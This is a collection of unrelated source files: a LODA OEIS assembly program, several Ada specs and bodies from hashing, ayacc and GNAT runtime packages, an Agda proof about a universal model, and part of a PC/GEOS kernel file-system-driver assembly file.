interrupt_handler_no_ecode_gate 240
interrupt_handler_no_ecode_gate 241
interrupt_handler_no_ecode_gate 242
interrupt_handler_no_ecode_gate 243
interrupt_handler_no_ecode_gate 244
interrupt_handler_no_ecode_gate 245
interrupt_handler_no_ecode_gate 246
interrupt_handler_no_ecode_gate 247
interrupt_handler_no_ecode_gate 248
interrupt_handler_no_ecode_gate 249
interrupt_handler_no_ecode_gate 250
interrupt_handler_no_ecode_gate 251
interrupt_handler_no_ecode_gate 252
interrupt_handler_no_ecode_gate 253
interrupt_handler_no_ecode_gate 254
interrupt_handler_no_ecode_gate 255 |
programs/oeis/317/A317333.asm | karttu/loda | 0 | 21797 | <filename>programs/oeis/317/A317333.asm
; A317333: Indices m for which A058304(m) = 9.
; 1,6,14,25,30,38,49,57,62,70,78,89,97,102,113,121,126,134,142,153,158,166,177,185,193,198,206,217,225,230,241,249,254,262,270,281,286,294,305,313,318,326,334,345,353,358,369,377,385,390,398,409,414,422,433,441,449,454,462,473,481,486,497,505,510,518,526,537,542,550,561,569,574,582,590,601,609,614,625,633,638,646,654,665,670,678,689,697,705,710,718,729,737,742,753,761,769,774,782,793,798,806,817,825,830,838,846,857,865,870,881,889,897,902,910,921,926,934,945,953,961,966,974,985,993,998,1009,1017,1022,1030,1038,1049,1054,1062,1073,1081,1086,1094,1102,1113,1121,1126,1137,1145,1150,1158,1166,1177,1182,1190,1201,1209,1217,1222,1230,1241,1249,1254,1265,1273,1278,1286,1294,1305,1310,1318,1329,1337,1342,1350,1358,1369,1377,1382,1393,1401,1409,1414,1422,1433,1438,1446,1457,1465,1473,1478,1486,1497,1505,1510,1521,1529,1537,1542,1550,1561,1566,1574,1585,1593,1598,1606,1614,1625,1633,1638,1649,1657,1662,1670,1678,1689,1694,1702,1713,1721,1729,1734,1742,1753,1761,1766,1777,1785,1793,1798,1806,1817,1822,1830,1841,1849,1854,1862,1870,1881,1889,1894,1905,1913,1921,1926,1934,1945,1950,1958,1969,1977,1985,1990
mov $2,$0
lpb $0,1
add $0,2
mov $4,$0
add $4,1
div $4,2
gcd $0,$4
sub $0,1
mov $5,1
lpe
add $4,$5
add $4,1
mod $4,2
mov $1,$4
sub $1,2
div $1,2
mul $1,3
add $1,9
mov $3,$2
mul $3,8
add $1,$3
sub $1,8
|
modular_hashing.adb | annexi-strayline/ASAP-Modular_Hashing | 0 | 23905 | ------------------------------------------------------------------------------
-- --
-- Modular Hash Infrastructure --
-- --
-- Version 1.0 --
-- --
-- ------------------------------------------------------------------------ --
-- --
-- Copyright (C) 2018-2019, ANNEXI-STRAYLINE Trans-Human Ltd. --
-- All rights reserved. --
-- --
-- Original Contributors: --
-- * <NAME>, <NAME>, <NAME>, <NAME> --
-- (ANNEXI-STRAYLINE) --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- --
-- * Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A --
-- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with Hex.Unsigned_8;
package body Modular_Hashing is
-----------------
-- Hexadecimal --
-----------------
function Hexadecimal (Value : Hash;
Lower_Case: Boolean := True)
return String
is
Bin: constant Hash_Binary_Value := Hash'Class (Value).Binary;
I: Positive;
begin
return Result: String (1 .. Value.Hexadecimal_Digits) do
pragma Assert (Bin'Length * 2 = Result'Length);
-- Assuming little endian
I := Result'Last + 2;
for Byte of Bin loop
I := I - 2;
Hex.Unsigned_8.Encode
(Value => Byte,
Buffer => Result(I - 1 .. I),
Use_Case => (if Lower_Case then Hex.Lower_Case
else Hex.Upper_Case));
end loop;
pragma Assert (I = Result'First + 1);
end return;
end Hexadecimal;
----------
-- Read --
----------
procedure Read (Stream: in out Hash_Algorithm;
Item : out Ada.Streams.Stream_Element_Array;
Last : out Ada.Streams.Stream_Element_Offset)
is
begin
raise Program_Error;
end Read;
------------
-- Digest --
------------
function Digest (Engine : in out Hash_Algorithm'Class;
Message: in String)
return Hash'Class
is begin
String'Write (Engine'Access, Message);
return Hash_Algorithm'Class(Engine).Digest;
end Digest;
----------------------------------------------------------------------------
function Digest (Engine : in out Hash_Algorithm'Class;
Message: in Wide_String)
return Hash'Class
is begin
Wide_String'Write (Engine'Access, Message);
return Hash_Algorithm'Class(Engine).Digest;
end Digest;
----------------------------------------------------------------------------
function Digest (Engine : in out Hash_Algorithm'Class;
Message: in Wide_Wide_String)
return Hash'Class
is begin
Wide_Wide_String'Write (Engine'Access, Message);
return Hash_Algorithm'Class(Engine).Digest;
end Digest;
end Modular_Hashing;
|
lib/ayacc/lr0_machine.ads | alvaromb/Compilemon | 1 | 163 | <reponame>alvaromb/Compilemon
-- Copyright (c) 1990 Regents of the University of California.
-- All rights reserved.
--
-- The primary authors of ayacc were <NAME> and <NAME>.
-- Enhancements were made by <NAME>.
--
-- Send requests for ayacc information to <EMAIL>
-- Send bug reports for ayacc to <EMAIL>
--
-- Redistribution and use in source and binary forms are permitted
-- provided that the above copyright notice and this paragraph are
-- duplicated in all such forms and that any documentation,
-- advertising materials, and other materials related to such
-- distribution and use acknowledge that the software was developed
-- by the University of California, Irvine. The name of the
-- University may not be used to endorse or promote products derived
-- from this software without specific prior written permission.
-- THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
-- IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
-- WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
-- Module : lr0_machine.ada
-- Component of : ayacc
-- Version : 1.2
-- Date : 11/21/86 12:30:58
-- SCCS File : disk21~/rschm/hasee/sccs/ayacc/sccs/sxlr0_machine.ada
-- $Header: /dc/uc/self/tmp/gnat_ayacc_new/lr0bad/RCS/lr0_machine.ads,v 1.1 1995/02/16 17:28:09 self Exp self $
-- $Log: lr0_machine.ads,v $
-- Revision 0.1 86/04/01 15:06:19 ada
-- This version fixes some minor bugs with empty grammars
-- and $$ expansion. It also uses vads5.1b enhancements
-- such as pragma inline.
--
--
-- Revision 0.0 86/02/19 18:37:14 ada
--
-- These files comprise the initial version of Ayacc
-- designed and implemented by <NAME> and <NAME>.
-- Ayacc has been compiled and tested under the Verdix Ada compiler
-- version 4.06 on a vax 11/750 running Unix 4.2BSD.
--
with Rule_Table, Symbol_Table, Set_Pack;
use Rule_Table, Symbol_Table;
package LR0_Machine is
type Parse_State is range -1..5_000;
Null_Parse_State : constant Parse_State := -1;
type Item is
record
Rule_ID : Rule;
Dot_Position : Natural;
end record;
type Transition is
record
Symbol : Grammar_Symbol;
State_ID : Parse_State;
end record;
function "<" (Item_1, Item_2 : Item) return Boolean;
function "<" (Trans_1, Trans_2 : Transition) return Boolean;
package Parse_State_Set_Pack is new Set_Pack(Parse_State, "<");
package Item_Set_Pack is new Set_Pack(Item, "<");
package Transition_Set_Pack is new Set_Pack(Transition, "<");
package Grammar_Symbol_Set_Pack is new Set_Pack(Grammar_Symbol, "<");
subtype Parse_State_Set is Parse_State_Set_Pack.Set;
subtype Item_Set is Item_Set_Pack.Set;
subtype Transition_Set is Transition_Set_Pack.Set;
subtype Grammar_Symbol_Set is Grammar_Symbol_Set_Pack.Set;
subtype Parse_State_Iterator is Parse_State_Set_Pack.Set_Iterator;
subtype Item_Iterator is Item_Set_Pack.Set_Iterator;
subtype Transition_Iterator is Transition_Set_Pack.Set_Iterator;
subtype Grammar_Symbol_Iterator is Grammar_Symbol_Set_Pack.Set_Iterator;
procedure LR0_Initialize; -- must be called first.
function First_Parse_State return Parse_State;
function Last_Parse_State return Parse_State;
function Get_Goto
(State_ID : Parse_State;
Sym : Grammar_Symbol) return Parse_State;
-- Returns the predecessor states of STATE_ID and the item I.
-- Must be called with PRED_SET empty!
procedure Get_Pred_Set
(State_ID : in Parse_State;
I : in Item;
Pred_Set : in out Parse_State_Set);
type Transition_Type is (Terminals, Nonterminals, Grammar_Symbols);
procedure Get_Transitions
(State_ID : in Parse_State;
Kind : in Transition_Type;
Set_1 : in out Transition_Set);
procedure Get_Transition_Symbols
(State_ID : in Parse_State;
Kind : in Transition_Type;
Set_1 : in out Grammar_Symbol_Set);
procedure Get_Kernel
(State_ID : in Parse_State;
Set_1 : in out Item_Set);
procedure Closure (Set_1 : in out Item_Set);
--
-- The following routines allow the user to iterate over the
-- items in the kernel of a particular state.
--
type Kernel_Iterator is limited private;
procedure Initialize
(Iterator : in out Kernel_Iterator;
State_ID : in Parse_State);
function More(Iterator : Kernel_Iterator) return Boolean;
procedure Next(Iterator : in out Kernel_Iterator; I : out Item);
--
-- The following routines allow the user to iterate over the
-- nonterminal transitions of a particular state
--
type Nt_Transition_Iterator is limited private;
procedure Initialize
(Iterator : in out Nt_Transition_Iterator;
State_ID : in Parse_State);
function More (Iterator : Nt_Transition_Iterator) return Boolean;
procedure Next
(Iterator : in out Nt_Transition_Iterator;
Trans : out Transition);
-- The following routines allow iteration over the Terminal transitions
-- of a particular state.
type T_Transition_Iterator is limited private; -- For Terminals
procedure Initialize
(Iterator : in out T_Transition_Iterator;
State_ID : in Parse_State);
function More (Iterator : T_Transition_Iterator) return Boolean;
procedure Next
(Iterator : in out T_Transition_Iterator;
Trans : out Transition);
To_Many_States : exception;
No_More_Iterations : exception;
State_Out_of_Bounds : exception;
--RJS pragma inline(more); --DEC Ada Bug: , next);
private
type Item_Array_Index is range 0..5_000; -- An arbitrarily big number
----- type Item_Array;
type Item_Array is array (Item_Array_Index range <>) of Item;
type Item_Array_Pointer is access Item_Array;
type Kernel_Iterator is
record
Kernel : Item_Array_Pointer;
Curser : Item_Array_Index;
end record;
----- type Transition_Array;
-- The type declarations for storing the nonterminal transitions of
-- the DFA in the states.
type Transition_Array is
array(Integer range <>) of Transition;
type Transition_Array_Pointer is access Transition_Array;
type Nt_Transition_Iterator is
record
Nonterm_Trans : Transition_Array_Pointer;
Curser : Integer; -- Use a derived type instead ???
end record;
type T_Transition_Iterator is
record
Term_Trans : Transition_Array_Pointer;
Curser : Integer;
end record;
end LR0_Machine;
|
tools/scitools/conf/understand/ada/ada95/i-cpotim.ads | brucegua/moocos | 1 | 1057 | ------------------------------------------------------------------------------
-- --
-- GNU ADA RUNTIME LIBRARY (GNARL) COMPONENTS --
-- --
-- I N T E R F A C E S . C . P O S I X _ T I M E R S --
-- --
-- S p e c --
-- --
-- $Revision: 2 $ --
-- --
-- Copyright (c) 1991,1992,1993,1994, FSU, All Rights Reserved --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU Library General Public License as published by the --
-- Free Software Foundation; either version 2, or (at your option) any --
-- later version. GNARL is distributed in the hope that it will be use- --
-- ful, but but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Gen- --
-- eral Library Public License for more details. You should have received --
-- a copy of the GNU Library General Public License along with GNARL; see --
-- file COPYING.LIB. If not, write to the Free Software Foundation, 675 --
-- Mass Ave, Cambridge, MA 02139, USA. --
-- --
------------------------------------------------------------------------------
with Interfaces.C.POSIX_Error; use Interfaces.C.POSIX_Error;
-- Used for Return_Code
package Interfaces.C.POSIX_Timers is
type time_t is new long;
type Nanoseconds is new long;
subtype Fractional_Second is Nanoseconds range 0 .. 10#1#E9 - 1;
-- This is dependent on the stdtypes.h header file.
type timespec is record
tv_sec : time_t;
tv_nsec : Fractional_Second;
end record;
timespec_First : constant timespec :=
timespec' (time_t'First, Fractional_Second'First);
timespec_Last : constant timespec :=
timespec' (time_t'Last, Fractional_Second'Last);
timespec_Zero : constant timespec :=
timespec' (time_t'First, Fractional_Second'First);
timespec_Unit : constant timespec :=
timespec' (time_t'First, Fractional_Second'First + 1);
-- This is dependent on the POSIX.4 implementation; the draft standard
-- only says that fields of these names and types (with Integer for long)
-- will be in the record. There may be other fields, and these do not
-- have to be in the indicated position. This should really be done by
-- getting the sizes and offsets using get_POSIX_Constants and building
-- the record to match using representation clauses.
-- temporarily, should really only be for 1???
type clock_id_t is private;
CLOCK_REALTIME : constant clock_id_t;
procedure clock_gettime
(ID : clock_id_t;
CT : out timespec;
Result : out Return_Code);
private
type clock_id_t is new long;
-- This clock_id_t is defined as an long in POSIX
CLOCK_REALTIME : constant clock_id_t := 0;
-- We currently implement only Realtime clock.
end Interfaces.C.POSIX_Timers;
|
src/MultiSorted/UniversalModel.agda | cilinder/formaltt | 21 | 745 | import Relation.Binary.Reasoning.Setoid as SetoidR
open import MultiSorted.AlgebraicTheory
import MultiSorted.Interpretation as Interpretation
import MultiSorted.Model as Model
import MultiSorted.UniversalInterpretation as UniversalInterpretation
import MultiSorted.Substitution as Substitution
import MultiSorted.SyntacticCategory as SyntacticCategory
module MultiSorted.UniversalModel
{ℓt}
{𝓈 ℴ}
{Σ : Signature {𝓈} {ℴ}}
(T : Theory ℓt Σ) where
open Theory T
open Substitution T
open UniversalInterpretation T
open Interpretation.Interpretation ℐ
open SyntacticCategory T
𝒰 : Model.Is-Model T ℐ
𝒰 =
record
{ model-eq = λ ε var-var →
let open SetoidR (eq-setoid (ax-ctx ε) (sort-of (ctx-slot (ax-sort ε)) var-var)) in
begin
interp-term (ax-lhs ε) var-var ≈⟨ interp-term-self (ax-lhs ε) var-var ⟩
ax-lhs ε ≈⟨ id-action ⟩
ax-lhs ε [ id-s ]s ≈⟨ eq-axiom ε id-s ⟩
ax-rhs ε [ id-s ]s ≈˘⟨ id-action ⟩
ax-rhs ε ≈˘⟨ interp-term-self (ax-rhs ε) var-var ⟩
interp-term (ax-rhs ε) var-var ∎
}
-- The universal model is universal
universality : ∀ (ε : Equation Σ) → ⊨ ε → ⊢ ε
universality ε p =
let open Equation in
let open SetoidR (eq-setoid (eq-ctx ε) (eq-sort ε)) in
(begin
eq-lhs ε ≈˘⟨ interp-term-self (eq-lhs ε) var-var ⟩
interp-term (eq-lhs ε) var-var ≈⟨ p var-var ⟩
interp-term (eq-rhs ε) var-var ≈⟨ interp-term-self (eq-rhs ε) var-var ⟩
eq-rhs ε ∎)
|
tools-src/gnu/gcc/gcc/ada/5ftasinf.ads | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 9371 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S Y S T E M . T A S K _ I N F O --
-- --
-- S p e c --
-- (Compiler Interface) --
-- --
-- $Revision$
-- --
-- Copyright (C) 1992-2000 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package contains the definitions and routines associated with the
-- implementation of the Task_Info pragma. It is specialized appropriately
-- for targets that make use of this pragma.
-- Note: the compiler generates direct calls to this interface, via Rtsfind.
-- Any changes to this interface may require corresponding compiler changes.
with Interfaces.C;
with System.OS_Interface;
with Unchecked_Deallocation;
package System.Task_Info is
pragma Elaborate_Body;
-- To ensure that a body is allowed
package OSI renames System.OS_Interface;
-----------------------------------------
-- Implementation of Task_Info Feature --
-----------------------------------------
-- Pragma Task_Info allows an application to set the underlying
-- pthread scheduling attributes for a specific task.
------------------
-- Declarations --
------------------
type Thread_Scheduling_Scope is
(PTHREAD_SCOPE_PROCESS, PTHREAD_SCOPE_SYSTEM);
for Thread_Scheduling_Scope'Size use Interfaces.C.int'Size;
type Thread_Scheduling_Inheritance is
(PTHREAD_EXPLICIT_SCHED, PTHREAD_INHERIT_SCHED);
for Thread_Scheduling_Inheritance'Size use Interfaces.C.int'Size;
type Thread_Scheduling_Policy is
(SCHED_FIFO, -- The first-in-first-out real-time policy
SCHED_RR, -- The round-robin real-time scheduling policy
SCHED_TS); -- The timeshare earnings based scheduling policy
for Thread_Scheduling_Policy'Size use Interfaces.C.int'Size;
for Thread_Scheduling_Policy use
(SCHED_FIFO => 1,
SCHED_RR => 2,
SCHED_TS => 3);
function SCHED_OTHER return Thread_Scheduling_Policy renames SCHED_TS;
No_Specified_Priority : constant := -1;
subtype Thread_Scheduling_Priority is Integer range
No_Specified_Priority .. 255;
function Min (Policy : Interfaces.C.int) return Interfaces.C.int
renames OSI.sched_get_priority_min;
function Max (Policy : Interfaces.C.int) return Interfaces.C.int
renames OSI.sched_get_priority_max;
subtype FIFO_Priority is Thread_Scheduling_Priority range
Thread_Scheduling_Priority (Min (OSI.SCHED_FIFO)) ..
Thread_Scheduling_Priority (Max (OSI.SCHED_FIFO));
subtype RR_Priority is Thread_Scheduling_Priority range
Thread_Scheduling_Priority (Min (OSI.SCHED_RR)) ..
Thread_Scheduling_Priority (Max (OSI.SCHED_RR));
subtype TS_Priority is Thread_Scheduling_Priority range
Thread_Scheduling_Priority (Min (OSI.SCHED_TS)) ..
Thread_Scheduling_Priority (Max (OSI.SCHED_TS));
subtype OTHER_Priority is Thread_Scheduling_Priority range
Thread_Scheduling_Priority (Min (OSI.SCHED_OTHER)) ..
Thread_Scheduling_Priority (Max (OSI.SCHED_OTHER));
subtype CPU_Number is Integer range -1 .. Integer'Last;
ANY_CPU : constant CPU_Number := CPU_Number'First;
type Thread_Attributes is record
Scope : Thread_Scheduling_Scope := PTHREAD_SCOPE_PROCESS;
Inheritance : Thread_Scheduling_Inheritance := PTHREAD_EXPLICIT_SCHED;
Policy : Thread_Scheduling_Policy := SCHED_RR;
Priority : Thread_Scheduling_Priority := No_Specified_Priority;
Runon_CPU : CPU_Number := ANY_CPU;
end record;
Default_Thread_Attributes : constant Thread_Attributes :=
(PTHREAD_SCOPE_PROCESS, PTHREAD_EXPLICIT_SCHED, SCHED_RR,
No_Specified_Priority, ANY_CPU);
type Task_Info_Type is access all Thread_Attributes;
type Task_Image_Type is access String;
-- Used to generate a meaningful identifier for tasks that are variables
-- and components of variables.
procedure Free_Task_Image is new
Unchecked_Deallocation (String, Task_Image_Type);
Unspecified_Task_Info : constant Task_Info_Type := null;
-- Value passed to task in the absence of a Task_Info pragma
end System.Task_Info;
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/opt27_pkg.ads | best08618/asylo | 7 | 20369 | <gh_stars>1-10
generic
type Element_T is private;
package Opt27_Pkg is
type Node_T is private;
type List_T is private;
function Is_Null (Node : in Node_T) return Boolean;
generic
type Template_T is private;
with function Is_Match
(Element : in Element_T;
Template : in Template_T) return Boolean is <>;
function Find_Elem (Template : Template_T; List : List_T) return Node_T;
private
type Node_Rec_T;
type Node_T is access Node_Rec_T;
type List_T is record
First_Node : Node_T := null;
Last_Node : Node_T := null;
end record;
end Opt27_Pkg;
|
Library/Kernel/FSD/fsdFile.asm | steakknife/pcgeos | 504 | 94588 | <filename>Library/Kernel/FSD/fsdFile.asm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: fsdFile.asm
AUTHOR: <NAME>, Oct 16, 1991
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 10/16/91 Initial revision
DESCRIPTION:
File-module related FSD support routines.
$Id: fsdFile.asm,v 1.1 97/04/05 01:17:48 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
kinit segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDRegister
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Register another FS driver in the system.
CALLED BY: RESTRICTED GLOBAL
PASS: cx:dx = strategy routine
ax = FSDFlags
bx = handle of driver
di = number of bytes of private data required for each
DiskDesc
RETURN: dx = FSDriver offset (for use in calling FSDInitDrive)
DESTROYED: ax, bx, cx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 7/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDRegister proc far
uses ds
.enter
if FULL_EXECUTE_IN_PLACE
EC< push bx, si >
EC< movdw bxsi, cxdx >
EC< call ECAssertValidFarPointerXIP >
EC< pop bx, si >
endif
;
; Save input parameters from destruction and lock the FSIR for
; our exclusive use, placing the result in DS so we can allocate
; things (rather than the more-normal ES)
;
push ax, bx, cx
call FSDLockInfoExcl
mov ds, ax
assume ds:FSInfoResource
;
; Now allocate a record for the new driver and pop the various things
; we saved into it.
;
mov cx, size FSDriver
call LMemAlloc
mov bx, ax
pop ds:[bx].FSD_flags, \
ds:[bx].FSD_handle, \
ds:[bx].FSD_strategy.segment
mov ds:[bx].FSD_strategy.offset, dx
mov ds:[bx].FSD_diskPrivSize, di
;
; Link the new record at the head of the list.
;
xchg ds:[FIH_fsdList], ax
mov ds:[bx].FSD_next, ax
mov dx, bx
;
; If the driver is marked as a primary FSD, set it as THE primary
; FSD.
;
test ds:[bx].FSD_flags, mask FSDF_PRIMARY
jz fetchPermanentName
EC < push bx >
EC < mov bx, ds:[FIH_primaryFSD] >
EC < test ds:[bx].FSD_flags, mask FSDF_SKELETON >
EC < ERROR_Z TOO_MANY_PRIMARY_FSDs >
EC < pop bx >
mov ds:[FIH_primaryFSD], bx
fetchPermanentName:
;
; Fetch the driver's permanent name from its core block so we can find
; the thing in DiskRestore without having to grab the geodeSem.
;
push di, es
lea di, ds:[bx].FSD_name
segmov es, ds
mov bx, ds:[bx].FSD_handle
mov ax, GGIT_PERM_NAME_ONLY
call GeodeGetInfo
pop di, es
;
; Make sure the skeleton disk's private data chunk is big enough to
; accomodate that much private data.
;
mov cx, di
jcxz done ; no private data needed by
; this driver, so need to
; do nothing
mov di, ds:[fsdTemplateDisk].DD_private
tst di
jz allocNewPrivChunk
ChunkSizePtr ds, di, ax
cmp ax, cx ; current size big enough?
jae done ; yes
xchg ax, di ; ax <- chunk
call LMemReAlloc
storePrivChunkAddr:
mov ds:[fsdTemplateDisk].DD_private, ax
; store new address
; of the beast
done:
;
; Done playing with ourselves...
;
call FSDUnlockInfoExcl
.leave
ret
allocNewPrivChunk:
; cx = size required
call LMemAlloc
jmp storePrivChunkAddr
assume ds:dgroup
FSDRegister endp
kinit ends
FSResident segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDUnregister
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Remove a filesystem driver from the system. An FSD may not
be removed unless all the drives that refer to it have
been removed.
CALLED BY: (GLOBAL)
PASS: dx = offset of FSDriver to remove
RETURN: carry set if driver may not be removed, as there's a
driver still defined that refers to it
carry clear if driver removed
DESTROYED: ax, dx
SIDE EFFECTS: various
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/12/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDUnregister proc far
uses ds, bx, si
.enter
call FSDLockInfoExcl
mov ds, ax
assume ds:FSInfoResource
EC < mov ax, offset FIH_fsdList - offset FSD_next >
EC <ensureIsFSDLoop: >
EC < mov_tr bx, ax >
EC < mov ax, ds:[bx].FSD_next >
EC < cmp dx, ax >
EC < je isFSD >
EC < tst ax >
EC < jnz ensureIsFSDLoop >
EC < ERROR INVALID_FSDRIVER_OFFSET >
EC <isFSD: >
;
; Make sure there are no drives referencing the FSD.
;
mov si, offset FIH_driveList - offset DSE_next
driveCheckLoop:
mov bx, si
mov si, ds:[bx].DSE_next
tst si
jz allDrivesGone
cmp ds:[si].DSE_fsd, dx
jne driveCheckLoop
stc
jmp done
allDrivesGone:
;
; Now locate the thing that points to the driver being removed
;
mov si, offset FIH_fsdList - offset FSD_next
findPrevFSDLoop:
mov bx, si
mov si, ds:[bx].FSD_next
cmp si, dx
jne findPrevFSDLoop
;
; Unlink the driver from the chain.
;
mov si, ds:[si].FSD_next
mov ds:[bx].FSD_next, si
;
; If the driver was the primary, clear out references to it.
;
cmp ds:[FIH_primaryFSD], dx
jne nukeIt
push es
LoadVarSeg es, ax
assume es:dgroup
mov es:[defaultDrivers].DDT_fileSystem, 0
mov ds:[FIH_primaryFSD], 0
pop es
assume es:nothing
nukeIt:
;
; Finally, biff the chunk.
;
mov_tr ax, dx
call LMemFree
clc
done:
call FSDUnlockInfoExcl
assume ds:dgroup
.leave
ret
FSDUnregister endp
FSResident ends
;--------------------------------------------------------------
FileCommon segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDInformOldFSDOfPathNukage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Inform the FSD on which the passed path block was located
that the thing is about to be freed.
CALLED BY: FileDeletePath, SetCurPathUsingStdPath, GLOBAL
PASS: bx = FilePath block
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDInformOldFSDOfPathNukage proc far
uses bp, si, di, ds
.enter
LoadVarSeg ds
mov si, ds:[bx].HM_otherInfo
test si, DISK_IS_STD_PATH_MASK ; StandardPath?
jnz done ; yes
mov di, DR_FS_CUR_PATH_DELETE
call DiskCallFSD
done:
.leave
ret
FSDInformOldFSDOfPathNukage endp
FileCommon ends
;----------------------------------------------
FSResident segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FSDInt21
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call to DOS after grabbing the DOS/BIOS lock
CALLED BY: ?
PASS: registers set up for DOS call
RETURN: ?
DESTROYED: nothing by us...
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 4/ 6/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FSDInt21 proc near
.enter
;disallow calling function 0 this way (really old-fashioned exit), as it
; sends the machine off the deep end, making it hard to debug
EC < cmp ah, 0 >
EC < ERROR_E GASP_CHOKE_WHEEZE >
;
; Gain exclusive access to DOS/BIOS
;
call SysLockBIOSFar
;
; Copy dosAddr into callVector.segment and callTemporary. We use this,
; instead of callVector itself, because callVector.offset is already
; set up by ProcCallModuleRoutine when it attempts to lock a non-
; resident resource. As such, the offset portion is unbiffable. The
